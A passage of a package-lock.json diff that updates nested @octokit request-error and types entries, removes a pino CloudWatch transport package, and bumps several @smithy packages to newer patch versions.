-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-14.1.0.tgz",
-      "integrity": "sha512-1y6DgTy8Jomcpu33N+p5w58l6xyt55Ar2I91RPiIA0xCJBXyUAhXCcmZaDWSANiha7R9a6qJJ2CRomGPZ6f46g==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/openapi-types": "^25.1.0"
-      }
-    },
     "node_modules/@octokit/auth-oauth-user/node_modules/@octokit/request/node_modules/@octokit/openapi-types": {
       "version": "25.1.0",
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
@@ -7921,6 +7898,35 @@
         "node": ">= 18"
       }
     },
+    "node_modules/@octokit/auth-unauthenticated/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
+    "node_modules/@octokit/auth-unauthenticated/node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/auth-unauthenticated/node_modules/@octokit/request-error/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
     "node_modules/@octokit/core": {
       "version": "5.2.1",
       "resolved": "https://registry.npmjs.org/@octokit/core/-/core-5.2.1.tgz",
@@ -7945,6 +7951,20 @@
       "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
       "license": "MIT"
     },
+    "node_modules/@octokit/core/node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
     "node_modules/@octokit/core/node_modules/@octokit/types": {
       "version": "13.10.0",
       "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
@@ -8067,32 +8087,19 @@
       }
     },
     "node_modules/@octokit/oauth-methods/node_modules/@octokit/request-error": {
-      "version": "6.1.8",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-6.1.8.tgz",
-      "integrity": "sha512-WEi/R0Jmq+IJKydWlKDmryPcmdYSVjL3ekaiEL1L9eo1sUnqMJ+grqmC9cjk7CA7+b2/T397tO5d8YLOH3qYpQ==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
       "license": "MIT",
       "dependencies": {
-        "@octokit/types": "^14.0.0"
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
       },
       "engines": {
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/oauth-methods/node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
-      "version": "25.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
-      "integrity": "sha512-idsIggNXUKkk0+BExUn1dQ92sfysJrje03Q0bv0e+KPLrvyqZF8MnBpFz8UNfYDwB3Ie7Z0TByjWfzxt7vseaA==",
-      "license": "MIT"
-    },
-    "node_modules/@octokit/oauth-methods/node_modules/@octokit/request-error/node_modules/@octokit/types": {
-      "version": "14.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-14.1.0.tgz",
-      "integrity": "sha512-1y6DgTy8Jomcpu33N+p5w58l6xyt55Ar2I91RPiIA0xCJBXyUAhXCcmZaDWSANiha7R9a6qJJ2CRomGPZ6f46g==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/openapi-types": "^25.1.0"
-      }
-    },
     "node_modules/@octokit/oauth-methods/node_modules/@octokit/request/node_modules/@octokit/openapi-types": {
       "version": "25.1.0",
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
@@ -8150,7 +8157,36 @@
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/plugin-paginate-graphql": {
+    "node_modules/@octokit/plugin-enterprise-compatibility/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
+    "node_modules/@octokit/plugin-enterprise-compatibility/node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/plugin-enterprise-compatibility/node_modules/@octokit/request-error/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
+    "node_modules/@octokit/plugin-paginate-graphql": {
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-graphql/-/plugin-paginate-graphql-4.0.1.tgz",
       "integrity": "sha512-R8ZQNmrIKKpHWC6V2gum4x9LG2qF1RxRjo27gjQcG3j+vf2tLsEfE7I/wRWEPzYMaenr1M+qDAtNcwZve1ce1A==",
@@ -8224,11 +8260,12 @@
       "integrity": "sha512-VRaeH8nCDtF5aXWnjPuEMIYf1itK/s3JYyJcWFJT8X9pSNnBtriDf7wlEWsGuhPLl4QIH4xM8fqTXDwJ3Mu6sw=="
     },
     "node_modules/@octokit/plugin-retry/node_modules/@octokit/request-error": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-4.0.2.tgz",
-      "integrity": "sha512-uqwUEmZw3x4I9DGYq9fODVAAvcLsPQv97NRycP6syEFu5916M189VnNBW2zANNwqg3OiligNcAey7P0SET843w==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
       "dependencies": {
-        "@octokit/types": "^10.0.0",
+        "@octokit/types": "^13.1.0",
         "deprecation": "^2.0.0",
         "once": "^1.4.0"
       },
@@ -8236,6 +8273,21 @@
         "node": ">= 18"
       }
     },
+    "node_modules/@octokit/plugin-retry/node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
+    "node_modules/@octokit/plugin-retry/node_modules/@octokit/request-error/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
     "node_modules/@octokit/plugin-retry/node_modules/@octokit/types": {
       "version": "10.0.0",
       "resolved": "https://registry.npmjs.org/@octokit/types/-/types-10.0.0.tgz",
@@ -8259,54 +8311,39 @@
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/request-error": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
-      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+    "node_modules/@octokit/request/node_modules/@octokit/endpoint": {
+      "version": "9.0.6",
+      "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-9.0.6.tgz",
+      "integrity": "sha512-H1fNTMA57HbkFESSt3Y9+FBICv+0jFceJFPWDePYlR/iMGrwM5ph+Dd4XRQs+8X+PUFURLQgX9ChPfhJ/1uNQw==",
       "license": "MIT",
       "dependencies": {
         "@octokit/types": "^13.1.0",
-        "deprecation": "^2.0.0",
-        "once": "^1.4.0"
+        "universal-user-agent": "^6.0.0"
       },
       "engines": {
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
+    "node_modules/@octokit/request/node_modules/@octokit/openapi-types": {
       "version": "24.2.0",
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
       "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
       "license": "MIT"
     },
-    "node_modules/@octokit/request-error/node_modules/@octokit/types": {
-      "version": "13.10.0",
-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
-      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/openapi-types": "^24.2.0"
-      }
-    },
-    "node_modules/@octokit/request/node_modules/@octokit/endpoint": {
-      "version": "9.0.6",
-      "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-9.0.6.tgz",
-      "integrity": "sha512-H1fNTMA57HbkFESSt3Y9+FBICv+0jFceJFPWDePYlR/iMGrwM5ph+Dd4XRQs+8X+PUFURLQgX9ChPfhJ/1uNQw==",
+    "node_modules/@octokit/request/node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
       "license": "MIT",
       "dependencies": {
         "@octokit/types": "^13.1.0",
-        "universal-user-agent": "^6.0.0"
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
       },
       "engines": {
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/request/node_modules/@octokit/openapi-types": {
-      "version": "24.2.0",
-      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
-      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
-      "license": "MIT"
-    },
     "node_modules/@octokit/request/node_modules/@octokit/types": {
       "version": "13.10.0",
       "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
@@ -8372,6 +8409,35 @@
       "resolved": "https://registry.npmjs.org/@octokit/webhooks-types/-/webhooks-types-7.3.1.tgz",
       "integrity": "sha512-u6355ZsZnHwmxen30SrqnYb1pXieBFkYgkNzt+Ed4Ao5tupN1OErHfzwiV6hq6duGkDAYASbq7/uVJQ69PjLEg=="
     },
+    "node_modules/@octokit/webhooks/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
+    "node_modules/@octokit/webhooks/node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@octokit/webhooks/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
     "node_modules/@octokit/webhooks/node_modules/@octokit/webhooks-types": {
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/@octokit/webhooks-types/-/webhooks-types-7.1.0.tgz",
@@ -10330,28 +10396,6 @@
         "node": ">=8"
       }
     },
-    "node_modules/@serdnam/pino-cloudwatch-transport": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/@serdnam/pino-cloudwatch-transport/-/pino-cloudwatch-transport-1.0.4.tgz",
-      "integrity": "sha512-0wtILlFlO/qTFANM1oEMZLKa9REo+mluHN0VTDaOMh15H9Puc+qU4z4jAoZqggFz9Fw9EGG4c+UHpMduZ1EzeQ==",
-      "dependencies": {
-        "@aws-sdk/client-cloudwatch-logs": "^3.52.0",
-        "p-throttle": "^5.0.0",
-        "pino-abstract-transport": "^0.5.0"
-      },
-      "engines": {
-        "node": ">=16.0.0"
-      }
-    },
-    "node_modules/@serdnam/pino-cloudwatch-transport/node_modules/pino-abstract-transport": {
-      "version": "0.5.0",
-      "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-0.5.0.tgz",
-      "integrity": "sha512-+KAgmVeqXYbTtU2FScx1XS3kNyfZ5TrXY07V96QnUSFqo2gAqlvmaxH67Lj7SWazqsMabf+58ctdTcBgnOLUOQ==",
-      "dependencies": {
-        "duplexify": "^4.1.2",
-        "split2": "^4.0.0"
-      }
-    },
     "node_modules/@simplewebauthn/server": {
       "version": "13.2.2",
       "resolved": "https://registry.npmjs.org/@simplewebauthn/server/-/server-13.2.2.tgz",
@@ -10500,16 +10544,16 @@
       }
     },
     "node_modules/@smithy/config-resolver": {
-      "version": "4.4.13",
-      "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.4.13.tgz",
-      "integrity": "sha512-iIzMC5NmOUP6WL6o8iPBjFhUhBZ9pPjpUpQYWMUFQqKyXXzOftbfK8zcQCz/jFV1Psmf05BK5ypx4K2r4Tnwdg==",
+      "version": "4.4.17",
+      "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.4.17.tgz",
+      "integrity": "sha512-TzDZcAnhTyAHbXVxWZo7/tEcrIeFq20IBk8So3OLOetWpR8EwY/yEqBMBFaJMeyEiREDq4NfEl+qO3OAUD+vbQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-config-provider": "^4.2.2",
-        "@smithy/util-endpoints": "^3.3.3",
-        "@smithy/util-middleware": "^4.2.12",
+        "@smithy/util-endpoints": "^3.4.2",
+        "@smithy/util-middleware": "^4.2.14",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10517,18 +10561,18 @@
       }
     },
     "node_modules/@smithy/core": {
-      "version": "3.23.13",
-      "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.23.13.tgz",
-      "integrity": "sha512-J+2TT9D6oGsUVXVEMvz8h2EmdVnkBiy2auCie4aSJMvKlzUtO5hqjEzXhoCUkIMo7gAYjbQcN0g/MMSXEhDs1Q==",
+      "version": "3.23.17",
+      "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.23.17.tgz",
+      "integrity": "sha512-x7BlLbUFL8NWCGjMF9C+1N5cVCxcPa7g6Tv9B4A2luWx3be3oU8hQ96wIwxe/s7OhIzvoJH73HAUSg5JXVlEtQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
-        "@smithy/url-parser": "^4.2.12",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
         "@smithy/util-base64": "^4.3.2",
         "@smithy/util-body-length-browser": "^4.2.2",
-        "@smithy/util-middleware": "^4.2.12",
-        "@smithy/util-stream": "^4.5.21",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-stream": "^4.5.25",
         "@smithy/util-utf8": "^4.2.2",
         "@smithy/uuid": "^1.1.2",
         "tslib": "^2.6.2"
@@ -10538,15 +10582,15 @@
       }
     },
     "node_modules/@smithy/credential-provider-imds": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.2.12.tgz",
-      "integrity": "sha512-cr2lR792vNZcYMriSIj+Um3x9KWrjcu98kn234xA6reOAFMmbRpQMOv8KPgEmLLtx3eldU6c5wALKFqNOhugmg==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.2.14.tgz",
+      "integrity": "sha512-Au28zBN48ZAoXdooGUHemuVBrkE+Ie6RPmGNIAJsFqj33Vhb6xAgRifUydZ2aY+M+KaMAETAlKk5NC5h1G7wpg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/types": "^4.13.1",
-        "@smithy/url-parser": "^4.2.12",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10624,14 +10668,14 @@
       }
     },
     "node_modules/@smithy/fetch-http-handler": {
-      "version": "5.3.15",
-      "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.3.15.tgz",
-      "integrity": "sha512-T4jFU5N/yiIfrtrsb9uOQn7RdELdM/7HbyLNr6uO/mpkj1ctiVs7CihVr51w4LyQlXWDpXFn4BElf1WmQvZu/A==",
+      "version": "5.3.17",
+      "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.3.17.tgz",
+      "integrity": "sha512-bXOvQzaSm6MnmLaWA1elgfQcAtN4UP3vXqV97bHuoOrHQOJiLT3ds6o9eo5bqd0TJfRFpzdGnDQdW3FACiAVdw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/querystring-builder": "^4.2.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/querystring-builder": "^4.2.14",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-base64": "^4.3.2",
         "tslib": "^2.6.2"
       },
@@ -10655,12 +10699,12 @@
       }
     },
     "node_modules/@smithy/hash-node": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.2.12.tgz",
-      "integrity": "sha512-QhBYbGrbxTkZ43QoTPrK72DoYviDeg6YKDrHTMJbbC+A0sml3kSjzFtXP7BtbyJnXojLfTQldGdUR0RGD8dA3w==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.2.14.tgz",
+      "integrity": "sha512-8ZBDY2DD4wr+GGjTpPtiglEsqr0lUP+KHqgZcWczFf6qeZ/YRjMIOoQWVQlmwu7EtxKTd8YXD8lblmYcpBIA1g==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-buffer-from": "^4.2.2",
         "@smithy/util-utf8": "^4.2.2",
         "tslib": "^2.6.2"
@@ -10684,12 +10728,12 @@
       }
     },
     "node_modules/@smithy/invalid-dependency": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.2.12.tgz",
-      "integrity": "sha512-/4F1zb7Z8LOu1PalTdESFHR0RbPwHd3FcaG1sI3UEIriQTWakysgJr65lc1jj6QY5ye7aFsisajotH6UhWfm/g==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.2.14.tgz",
+      "integrity": "sha512-c21qJiTSb25xvvOp+H2TNZzPCngrvl5vIPqPB8zQ/DmJF4QWXO19x1dWfMJZ6wZuuWUPPm0gV8C0cU3+ifcWuw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10723,13 +10767,13 @@
       }
     },
     "node_modules/@smithy/middleware-content-length": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.2.12.tgz",
-      "integrity": "sha512-YE58Yz+cvFInWI/wOTrB+DbvUVz/pLn5mC5MvOV4fdRUc6qGwygyngcucRQjAhiCEbmfLOXX0gntSIcgMvAjmA==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.2.14.tgz",
+      "integrity": "sha512-xhHq7fX4/3lv5NHxLUk3OeEvl0xZ+Ek3qIbWaCL4f9JwgDZEclPBElljaZCAItdGPQl/kSM4LPMOpy1MYgprpw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10737,18 +10781,18 @@
       }
     },
     "node_modules/@smithy/middleware-endpoint": {
-      "version": "4.4.28",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.4.28.tgz",
-      "integrity": "sha512-p1gfYpi91CHcs5cBq982UlGlDrxoYUX6XdHSo91cQ2KFuz6QloHosO7Jc60pJiVmkWrKOV8kFYlGFFbQ2WUKKQ==",
+      "version": "4.4.32",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.4.32.tgz",
+      "integrity": "sha512-ZZkgyjnJppiZbIm6Qbx92pbXYi1uzenIvGhBSCDlc7NwuAkiqSgS75j1czAD25ZLs2FjMjYy1q7gyRVWG6JA0Q==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/core": "^3.23.13",
-        "@smithy/middleware-serde": "^4.2.16",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
-        "@smithy/url-parser": "^4.2.12",
-        "@smithy/util-middleware": "^4.2.12",
+        "@smithy/core": "^3.23.17",
+        "@smithy/middleware-serde": "^4.2.20",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
+        "@smithy/util-middleware": "^4.2.14",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10756,18 +10800,19 @@
       }
     },
     "node_modules/@smithy/middleware-retry": {
-      "version": "4.4.46",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.4.46.tgz",
-      "integrity": "sha512-SpvWNNOPOrKQGUqZbEPO+es+FRXMWvIyzUKUOYdDgdlA6BdZj/R58p4umoQ76c2oJC44PiM7mKizyyex1IJzow==",
+      "version": "4.5.6",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.5.6.tgz",
+      "integrity": "sha512-5zhmo2AkstmM/RMKYP0NHfmuYWBR+/umlmSuALgajLxf0X0rLE6d17MfzTxpzkILWVhwvCJkCyPH0AfMlbaucQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/service-error-classification": "^4.2.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
-        "@smithy/util-middleware": "^4.2.12",
-        "@smithy/util-retry": "^4.2.13",
+        "@smithy/core": "^3.23.17",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/service-error-classification": "^4.3.1",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-retry": "^4.3.5",
         "@smithy/uuid": "^1.1.2",
         "tslib": "^2.6.2"
       },
@@ -10776,14 +10821,14 @@
       }
     },
     "node_modules/@smithy/middleware-serde": {
-      "version": "4.2.16",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.2.16.tgz",
-      "integrity": "sha512-beqfV+RZ9RSv+sQqor3xroUUYgRFCGRw6niGstPG8zO9LgTl0B0MCucxjmrH/2WwksQN7UUgI7KNANoZv+KALA==",
+      "version": "4.2.20",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.2.20.tgz",
+      "integrity": "sha512-Lx9JMO9vArPtiChE3wbEZ5akMIDQpWQtlu90lhACQmNOXcGXRbaDywMHDzuDZ2OkZzP+9wQfZi3YJT9F67zTQQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/core": "^3.23.13",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/core": "^3.23.17",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10791,12 +10836,12 @@
       }
     },
     "node_modules/@smithy/middleware-stack": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.2.12.tgz",
-      "integrity": "sha512-kruC5gRHwsCOuyCd4ouQxYjgRAym2uDlCvQ5acuMtRrcdfg7mFBg6blaxcJ09STpt3ziEkis6bhg1uwrWU7txw==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.2.14.tgz",
+      "integrity": "sha512-2dvkUKLuFdKsCRmOE4Mn63co0Djtsm+JMh0bYZQupN1pJwMeE8FmQmRLLzzEMN0dnNi7CDCYYH8F0EVwWiPBeA==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10804,14 +10849,14 @@
       }
     },
     "node_modules/@smithy/node-config-provider": {
-      "version": "4.3.12",
-      "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.3.12.tgz",
-      "integrity": "sha512-tr2oKX2xMcO+rBOjobSwVAkV05SIfUKz8iI53rzxEmgW3GOOPOv0UioSDk+J8OpRQnpnhsO3Af6IEBabQBVmiw==",
